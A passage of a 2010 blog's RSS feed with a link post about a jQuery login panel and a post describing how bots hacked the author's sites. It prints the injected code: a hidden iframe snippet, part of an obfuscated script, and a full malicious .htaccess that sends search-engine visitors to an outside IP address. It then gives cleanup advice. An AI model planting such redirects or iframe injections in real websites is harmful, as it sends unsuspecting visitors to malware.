[...]]]></description> <content:encoded><![CDATA[<div class="wp-caption aligncenter" style="width: 597px"><a href="http://www.cssjockey.com/coding/jquery-css-login-panel"><img class="colorbox-1694"  title="Creating Login Panel with jQuery and CSS" src="http://www.cssjockey.com/wp-content/uploads/2010/02/creating-login-panel-with-css-jquery-post.jpg" alt="Creating Login Panel with jQuery and CSS" width="587" height="203" /></a><p class="wp-caption-text">Creating Login Panel with jQuery and CSS</p></div><p>Mohit Aneja over at <a href="http://www.cssjockey.com/" target="_blank">CSS Jockey</a> has created a pretty nice looking sliding login panel using Jquery and CSS. The sliding login panel is similiar to what can be seen on Twitter and few other popular websites. The script looks pretty lightweight, easy to use and is well documented.  I may be using it soon (when I get around to re-designing this site.)</p><p>Check it out the full article here:</p><p><a href="http://www.cssjockey.com/coding/jquery-css-login-panel" target="_blank">http://www.cssjockey.com/coding/jquery-css-login-panel</a></p><p><span id="more-1694"></span></p><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=+An+easy+way+to+create+login+panel+with+jQuery+and+CSS+-+http://b2l.me/ugq7s&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-facebook"> <a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/&amp;t=+An+easy+way+to+create+login+panel+with+jQuery+and+CSS" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/&amp;title=+An+easy+way+to+create+login+panel+with+jQuery+and+CSS" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/&amp;title=+An+easy+way+to+create+login+panel+with+jQuery+and+CSS" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/&amp;title=+An+easy+way+to+create+login+panel+with+jQuery+and+CSS" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/&amp;title=+An+easy+way+to+create+login+panel+with+jQuery+and+CSS" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-gmail"> <a href="https://mail.google.com/mail/?ui=2&amp;view=cm&amp;fs=1&amp;tf=1&amp;su=+An+easy+way+to+create+login+panel+with+jQuery+and+CSS&amp;body=Link: http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A %0D%0A%0D%0AMohit%20Aneja%20over%20at%20CSS%20Jockey%20has%20created%20a%20pretty%20nice%20looking%20sliding%20login%20panel%20using%20Jquery%20and%20CSS.%20The%20sliding%20login%20panel%20is%20similiar%20to%20what%20can%20be%20seen%20on%20Twitter%20and%20few%20other%20popular%20websites.%20The%20script%20looks%20pretty%20lightweight%2C%20easy%20to%20use%20and%20is%20well%20documented.%C2%A0%20I%20may%20be%20using%20" rel="nofollow" class="external" title="Email this via Gmail">Email this via Gmail</a></li><li class="shr-googlebookmarks"> <a href="http://www.google.com/bookmarks/mark?op=add&amp;bkmk=http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/&amp;title=+An+easy+way+to+create+login+panel+with+jQuery+and+CSS" rel="nofollow" class="external" title="Add this to Google Bookmarks">Add this to Google Bookmarks</a></li><li class="shr-blogger"> <a href="http://www.blogger.com/blog_this.pyra?t&amp;u=http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/&amp;n=+An+easy+way+to+create+login+panel+with+jQuery+and+CSS&amp;pli=1" rel="nofollow" class="external" title="Blog this on Blogger">Blog this on Blogger</a></li><li class="shr-comfeed"> <a href="http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-dzone"> <a href="http://www.dzone.com/links/add.html?url=http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/&amp;title=+An+easy+way+to+create+login+panel+with+jQuery+and+CSS&amp;description=%0D%0A%0D%0AMohit%20Aneja%20over%20at%20CSS%20Jockey%20has%20created%20a%20pretty%20nice%20looking%20sliding%20login%20panel%20using%20Jquery%20and%20CSS.%20The%20sliding%20login%20panel%20is%20similiar%20to%20what%20can%20be%20seen%20on%20Twitter%20and%20few%20other%20popular%20websites.%20The%20script%20looks%20pretty%20lightweight%2C%20easy%20to%20use%20and%20is%20well%20documented.%C2%A0%20I%20may%20be%20using%20" rel="nofollow" class="external" title="Add this to DZone">Add this to DZone</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-googlereader"> <a href="http://www.google.com/reader/link?url=http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/&amp;title=+An+easy+way+to+create+login+panel+with+jQuery+and+CSS&amp;srcUrl=http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/&amp;srcTitle=+An+easy+way+to+create+login+panel+with+jQuery+and+CSS&amp;snippet=%0D%0A%0D%0AMohit%20Aneja%20over%20at%20CSS%20Jockey%20has%20created%20a%20pretty%20nice%20looking%20sliding%20login%20panel%20using%20Jquery%20and%20CSS.%20The%20sliding%20login%20panel%20is%20similiar%20to%20what%20can%20be%20seen%20on%20Twitter%20and%20few%20other%20popular%20websites.%20The%20script%20looks%20pretty%20lightweight%2C%20easy%20to%20use%20and%20is%20well%20documented.%C2%A0%20I%20may%20be%20using%20" rel="nofollow" class="external" title="Add this to Google Reader">Add this to Google Reader</a></li><li class="shr-linkedin"> <a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/&amp;title=+An+easy+way+to+create+login+panel+with+jQuery+and+CSS&amp;summary=%0D%0A%0D%0AMohit%20Aneja%20over%20at%20CSS%20Jockey%20has%20created%20a%20pretty%20nice%20looking%20sliding%20login%20panel%20using%20Jquery%20and%20CSS.%20The%20sliding%20login%20panel%20is%20similiar%20to%20what%20can%20be%20seen%20on%20Twitter%20and%20few%20other%20popular%20websites.%20The%20script%20looks%20pretty%20lightweight%2C%20easy%20to%20use%20and%20is%20well%20documented.%C2%A0%20I%20may%20be%20using%20&amp;source=Shoultes.net" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a></li><li class="shr-mail"> <a href="mailto:?subject=%22%20An%20easy%20way%20to%20create%20login%20panel%20with%20jQuery%20and%20CSS%22&amp;body=Link: http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A %0D%0A%0D%0AMohit%20Aneja%20over%20at%20CSS%20Jockey%20has%20created%20a%20pretty%20nice%20looking%20sliding%20login%20panel%20using%20Jquery%20and%20CSS.%20The%20sliding%20login%20panel%20is%20similiar%20to%20what%20can%20be%20seen%20on%20Twitter%20and%20few%20other%20popular%20websites.%20The%20script%20looks%20pretty%20lightweight%2C%20easy%20to%20use%20and%20is%20well%20documented.%C2%A0%20I%20may%20be%20using%20" rel="nofollow" class="external" title="Email this to a friend?">Email this to a friend?</a></li><li class="shr-squidoo"> <a href="http://www.squidoo.com/lensmaster/bookmark?http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/" rel="nofollow" class="external" title="Add to a lense on Squidoo">Add to a lense on Squidoo</a></li><li class="shr-yahoobuzz"> <a href="http://buzz.yahoo.com/submit/?submitUrl=http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/&amp;submitHeadline=+An+easy+way+to+create+login+panel+with+jQuery+and+CSS&amp;submitSummary=%0D%0A%0D%0AMohit%20Aneja%20over%20at%20CSS%20Jockey%20has%20created%20a%20pretty%20nice%20looking%20sliding%20login%20panel%20using%20Jquery%20and%20CSS.%20The%20sliding%20login%20panel%20is%20similiar%20to%20what%20can%20be%20seen%20on%20Twitter%20and%20few%20other%20popular%20websites.%20The%20script%20looks%20pretty%20lightweight%2C%20easy%20to%20use%20and%20is%20well%20documented.%C2%A0%20I%20may%20be%20using%20&amp;submitCategory=business&amp;submitAssetType=text" rel="nofollow" class="external" title="Buzz up!">Buzz up!</a></li><li class="shr-yahoomail"> <a href="http://compose.mail.yahoo.com/?Subject=+An+easy+way+to+create+login+panel+with+jQuery+and+CSS&amp;body=Link: http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A %0D%0A%0D%0AMohit%20Aneja%20over%20at%20CSS%20Jockey%20has%20created%20a%20pretty%20nice%20looking%20sliding%20login%20panel%20using%20Jquery%20and%20CSS.%20The%20sliding%20login%20panel%20is%20similiar%20to%20what%20can%20be%20seen%20on%20Twitter%20and%20few%20other%20popular%20websites.%20The%20script%20looks%20pretty%20lightweight%2C%20easy%20to%20use%20and%20is%20well%20documented.%C2%A0%20I%20may%20be%20using%20" rel="nofollow" class="external" title="Email this via Yahoo! Mail">Email this via Yahoo! Mail</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded> <wfw:commentRss>http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>WordPress/Website Security Exploits</title><link>http://shoultes.net/wordpresswebsite-security-exploits/</link> <comments>http://shoultes.net/wordpresswebsite-security-exploits/#comments</comments> <pubDate>Sat, 02 Jan 2010 03:28:16 +0000</pubDate> <dc:creator>Seth</dc:creator> <category><![CDATA[HTML]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[Website Security]]></category> <category><![CDATA[Wordpress]]></category> <category><![CDATA[wordpress security]]></category><guid isPermaLink="false">http://shoultes.net/?p=1542</guid> <description><![CDATA[I have recently seen several websites that I maintain, as well as several that I don&#8217;t maintain, hacked by some kind of bot net. It has been a really good learning experience to say the least. Most of the hacked websites were running WordPress, so my first thought that it was some kind of security [...]]]></description> <content:encoded><![CDATA[<p>I have recently seen several websites that I maintain, as well as several that I don&#8217;t maintain, hacked by some kind of bot net. It has been a really good learning experience to say the least.</p><p>Most of the hacked websites were running <a href="http://wordpress.org/" target="_blank">WordPress</a>, so my first thought that it was some kind of security exploit in <a href="http://wordpress.org/" target="_blank">WordPress</a>. Then I was asked to investigate of a few static <a href="http://en.wikipedia.org/wiki/HTML" target="_blank">HTML</a> or <a href="http://en.wikipedia.org/wiki/PHP" target="_blank">PHP</a> driven websites without <a href="http://wordpress.org/" target="_blank">WordPress</a> installations. All of the hacks were very similar and had their index.php, index.html, and .<a href="http://en.wikipedia.org/wiki/Htaccess" target="_blank">htaccess</a> files modified. In the index.php and index.html files there was javascript code and <a href="http://en.wikipedia.org/wiki/Iframe_virus" target="_blank">iframe virus</a> codes appended to the end of the file that would try to install different variants of <a title="Badware" href="http://en.wikipedia.org/wiki/Badware">badware</a>/<a title="Malware" href="http://en.wikipedia.org/wiki/Malware">malware</a> to unsuspecting visitors. I even seen a file that had stripped out part of the code within the file and replaced it with the malicious javascript and  <a href="http://en.wikipedia.org/wiki/Iframe_virus" target="_blank">iframe virus</a> <a href="http://en.wikipedia.org/wiki/Browser_exploit" target="_blank">browser exploits</a>. Therefore completely breaking the file (luckily we had a backup of the now broken file and were able to to get the site working again.) <span id="more-1542"></span></p><p>The funny thing is that some of the these exploits were done sloppily and actually exposed the malicious code that was appended to the end of the file. The malicious code had been placed at the end of the file right after the &lt;/html&gt; tag.</p><p>Here is how the code looked:</p><p><code>&lt;/html&gt;iframe src='http://url/' width='1' height='1' style='visibility: hidden;'&gt;&lt;/iframe&gt; </code></p><p>or</p><p><code>&lt;/html&gt;script&gt;function c102916999516l4956a7e7c979e(l4956a7e7c9b86){... </code> (which would then show all of the html in the hack)</p><p>Instead of:<br /> <code>&lt;/html&gt;&lt;iframe src='http://url/' width='1' height='1' style='visibility: hidden;'&gt;&lt;/iframe&gt;</code></p><p>or</p><p><code>&lt;/html&gt;&lt;script&gt;function c102916999516l4956a7e7c979e(l4956a7e7c9b86){... </code></p><p>After removing the infected code from the files the hackers went after the .htaccess files of some of the websites by downloading, deleting and re-uploading the new file with redirects (sometimes 2-3 times a day.) So that if someone performs a search on Google (or most of its competitors) and your website comes up for a searched term, the unsuspecting user would be redirected to a porn website or a malicious website serving up viruses and badware etc.</p><p>Example of hacked .htaccess file:<br /> <code><br /> RewriteEngine On</p><p>RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]</p><p>RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]</p><p>RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]</p><p>RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]</p><p>RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]</p><p>RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]<br /> RewriteRule .* http://87.248.180.90/in.html?s=ipw2 [R,L]<br /> </code><br /><div id="attachment_1543" class="wp-caption alignright" style="width: 160px"><a href="http://shoultes.net/wp-content/uploads/2010/01/htaccess_attacks.jpg"><img class="size-thumbnail wp-image-1543 colorbox-1542" title="htaccess_attacks" src="http://shoultes.net/wp-content/uploads/2010/01/htaccess_attacks-150x150.jpg" alt="Image of .htaccess Attacks" width="150" height="150" /></a><p class="wp-caption-text">Image of .htaccess Attacks</p></div></p><p>Upon investigation, I found out that the hacks may have come from some kind of spyware or trojan installed a clients  or a coworkers computer. The spyware  looks for ftp user names and passwords on the computer that it has infected. It logs into your server via ftp (using several different dynamic ip addresses) and downloads a file (usually .<a href="http://en.wikipedia.org/wiki/Htaccess" target="_blank">htaccess</a> and index.php files), adds malicious code to the file, deletes the old file on your server, then uploads the new file. The entire process of downloading, deleting, and re-uploading takes around 2 seconds!</p><p>To help prevent these attacks. Scan your PC with an updated AV and Malware scanner in safe mode.  From my experience with malware of this nature, the user account passwords are compromised though viruses/malware located on your local computer. This malware sniffs out passwords used and stored by FTP programs located on the computer. In order to protect against future attack, you will need to run full virus and malware scans on your computers to ensure that they are clean. I recommend using multiple scanners as we have found that some scanners do not detect the malware. MalwareBytes ( <a href="http://www.malwarebytes.org/" target="_blank">http://www.malwarebytes.org/</a> ) and ComboFix ( <a href="http://www.bleepingcomputer.com/combofix/how-to-use-combofix" target="_blank">http://www.bleepingcomputer.com/combofix/how-to-use-combofix</a> ) have been reported to be able to clean this malware.  Microsoft recently released an AV/Malware package at: <a href="http://www.microsoft.com/security_essentials" target="_blank">http://www.microsoft.com/security_essentials</a></p><p>More info:</p><p>http://www.websitesforsaleworld.co.uk/blog/2010/02/securing-your-wordpress-blog-from-attack/</p><p><a href="http://www.techjaws.com/new-php-exploit-on-the-loose/" target="_blank">http://www.techjaws.com/new-php-exploit-on-the-loose/</a></p><p><a href="http://blog.unmaskparasites.com/2008/12/05/bogus-antivirus-2009-htaccess-exploit/" target="_blank">http://blog.unmaskparasites.com/2008/12/05/bogus-antivirus-2009-htaccess-exploit/</a></p><p><a href="http://cyberinsecure.com/researchers-discover-new-cross-browser-exploit-that-affects-all-major-desktop-platforms/" target="_self">http://cyberinsecure.com/researchers-discover-new-cross-browser-exploit-that-affects-all-major-desktop-platforms/</a></p><p><a href="http://blog.unmaskparasites.com/2009/01/14/gogo2me-hidden-iframe-injection/" target="_blank">http://blog.unmaskparasites.com/2009/01/14/gogo2me-hidden-iframe-injection/</a></p><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Wordpress%2FWebsite+Security+Exploits+-+http://b2l.me/ugq7u&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-facebook"> <a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://shoultes.net/wordpresswebsite-security-exploits/&amp;t=Wordpress%2FWebsite+Security+Exploits" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://shoultes.net/wordpresswebsite-security-exploits/&amp;title=Wordpress%2FWebsite+Security+Exploits" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://shoultes.net/wordpresswebsite-security-exploits/&amp;title=Wordpress%2FWebsite+Security+Exploits" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://shoultes.net/wordpresswebsite-security-exploits/&amp;title=Wordpress%2FWebsite+Security+Exploits" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://shoultes.net/wordpresswebsite-security-exploits/&amp;title=Wordpress%2FWebsite+Security+Exploits" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-gmail"> <a href="https://mail.google.com/mail/?ui=2&amp;view=cm&amp;fs=1&amp;tf=1&amp;su=Wordpress%2FWebsite+Security+Exploits&amp;body=Link: http://shoultes.net/wordpresswebsite-security-exploits/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A I%20have%20recently%20seen%20several%20websites%20that%20I%20maintain%2C%20as%20well%20as%20several%20that%20I%20don%27t%20maintain%2C%20hacked%20by%20some%20kind%20of%20bot%20net.%20It%20has%20been%20a%20really%20good%20learning%20experience%20to%20say%20the%20least.%0D%0A%0D%0AMost%20of%20the%20hacked%20websites%20were%20running%20Wordpress%2C%20so%20my%20first%20thought%20that%20it%20was%20some%20kind%20of%20securit" rel="nofollow" class="external" title="Email this via Gmail">Email this via Gmail</a></li><li class="shr-googlebookmarks"> <a href="http://www.google.com/bookmarks/mark?op=add&amp;bkmk=http://shoultes.net/wordpresswebsite-security-exploits/&amp;title=Wordpress%2FWebsite+Security+Exploits" rel="nofollow" class="external" title="Add this to Google Bookmarks">Add this to Google Bookmarks</a></li><li class="shr-blogger"> <a href="http://www.blogger.com/blog_this.pyra?t&amp;u=http://shoultes.net/wordpresswebsite-security-exploits/&amp;n=Wordpress%2FWebsite+Security+Exploits&amp;pli=1" rel="nofollow" class="external" title="Blog this on Blogger">Blog this on Blogger</a></li><li class="shr-comfeed"> <a href="http://shoultes.net/wordpresswebsite-security-exploits/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-dzone"> <a href="http://www.dzone.com/links/add.html?url=http://shoultes.net/wordpresswebsite-security-exploits/&amp;title=Wordpress%2FWebsite+Security+Exploits&amp;description=I%20have%20recently%20seen%20several%20websites%20that%20I%20maintain%2C%20as%20well%20as%20several%20that%20I%20don%27t%20maintain%2C%20hacked%20by%20some%20kind%20of%20bot%20net.%20It%20has%20been%20a%20really%20good%20learning%20experience%20to%20say%20the%20least.%0D%0A%0D%0AMost%20of%20the%20hacked%20websites%20were%20running%20Wordpress%2C%20so%20my%20first%20thought%20that%20it%20was%20some%20kind%20of%20securit" rel="nofollow" class="external" title="Add this to DZone">Add this to DZone</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://shoultes.net/wordpresswebsite-security-exploits/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-googlereader"> <a href="http://www.google.com/reader/link?url=http://shoultes.net/wordpresswebsite-security-exploits/&amp;title=Wordpress%2FWebsite+Security+Exploits&amp;srcUrl=http://shoultes.net/wordpresswebsite-security-exploits/&amp;srcTitle=Wordpress%2FWebsite+Security+Exploits&amp;snippet=I%20have%20recently%20seen%20several%20websites%20that%20I%20maintain%2C%20as%20well%20as%20several%20that%20I%20don%27t%20maintain%2C%20hacked%20by%20some%20kind%20of%20bot%20net.%20It%20has%20been%20a%20really%20good%20learning%20experience%20to%20say%20the%20least.%0D%0A%0D%0AMost%20of%20the%20hacked%20websites%20were%20running%20Wordpress%2C%20so%20my%20first%20thought%20that%20it%20was%20some%20kind%20of%20securit" rel="nofollow" class="external" title="Add this to Google Reader">Add this to Google Reader</a></li><li class="shr-linkedin"> <a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://shoultes.net/wordpresswebsite-security-exploits/&amp;title=Wordpress%2FWebsite+Security+Exploits&amp;summary=I%20have%20recently%20seen%20several%20websites%20that%20I%20maintain%2C%20as%20well%20as%20several%20that%20I%20don%27t%20maintain%2C%20hacked%20by%20some%20kind%20of%20bot%20net.%20It%20has%20been%20a%20really%20good%20learning%20experience%20to%20say%20the%20least.%0D%0A%0D%0AMost%20of%20the%20hacked%20websites%20were%20running%20Wordpress%2C%20so%20my%20first%20thought%20that%20it%20was%20some%20kind%20of%20securit&amp;source=Shoultes.net" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a></li><li class="shr-mail"> <a href="mailto:?subject=%22Wordpress%2FWebsite%20Security%20Exploits%22&amp;body=Link: http://shoultes.net/wordpresswebsite-security-exploits/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A I%20have%20recently%20seen%20several%20websites%20that%20I%20maintain%2C%20as%20well%20as%20several%20that%20I%20don%27t%20maintain%2C%20hacked%20by%20some%20kind%20of%20bot%20net.%20It%20has%20been%20a%20really%20good%20learning%20experience%20to%20say%20the%20least.%0D%0A%0D%0AMost%20of%20the%20hacked%20websites%20were%20running%20Wordpress%2C%20so%20my%20first%20thought%20that%20it%20was%20some%20kind%20of%20securit" rel="nofollow" class="external" title="Email this to a friend?">Email this to a friend?</a></li><li class="shr-squidoo"> <a href="http://www.squidoo.com/lensmaster/bookmark?http://shoultes.net/wordpresswebsite-security-exploits/" rel="nofollow" class="external" title="Add to a lense on Squidoo">Add to a lense on Squidoo</a></li><li class="shr-yahoobuzz"> <a href="http://buzz.yahoo.com/submit/?submitUrl=http://shoultes.net/wordpresswebsite-security-exploits/&amp;submitHeadline=Wordpress%2FWebsite+Security+Exploits&amp;submitSummary=I%20have%20recently%20seen%20several%20websites%20that%20I%20maintain%2C%20as%20well%20as%20several%20that%20I%20don%27t%20maintain%2C%20hacked%20by%20some%20kind%20of%20bot%20net.%20It%20has%20been%20a%20really%20good%20learning%20experience%20to%20say%20the%20least.%0D%0A%0D%0AMost%20of%20the%20hacked%20websites%20were%20running%20Wordpress%2C%20so%20my%20first%20thought%20that%20it%20was%20some%20kind%20of%20securit&amp;submitCategory=business&amp;submitAssetType=text" rel="nofollow" class="external" title="Buzz up!">Buzz up!</a></li><li class="shr-yahoomail"> <a href="http://compose.mail.yahoo.com/?Subject=Wordpress%2FWebsite+Security+Exploits&amp;body=Link: http://shoultes.net/wordpresswebsite-security-exploits/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A I%20have%20recently%20seen%20several%20websites%20that%20I%20maintain%2C%20as%20well%20as%20several%20that%20I%20don%27t%20maintain%2C%20hacked%20by%20some%20kind%20of%20bot%20net.%20It%20has%20been%20a%20really%20good%20learning%20experience%20to%20say%20the%20least.%0D%0A%0D%0AMost%20of%20the%20hacked%20websites%20were%20running%20Wordpress%2C%20so%20my%20first%20thought%20that%20it%20was%20some%20kind%20of%20securit" rel="nofollow" class="external" title="Email this via Yahoo! Mail">Email this via Yahoo! Mail</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded> <wfw:commentRss>http://shoultes.net/wordpresswebsite-security-exploits/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk
Page Caching using disk (enhanced) (User agent is rejected)

Served from: shoultes.net @ 2012-02-03 19:12:01 -->
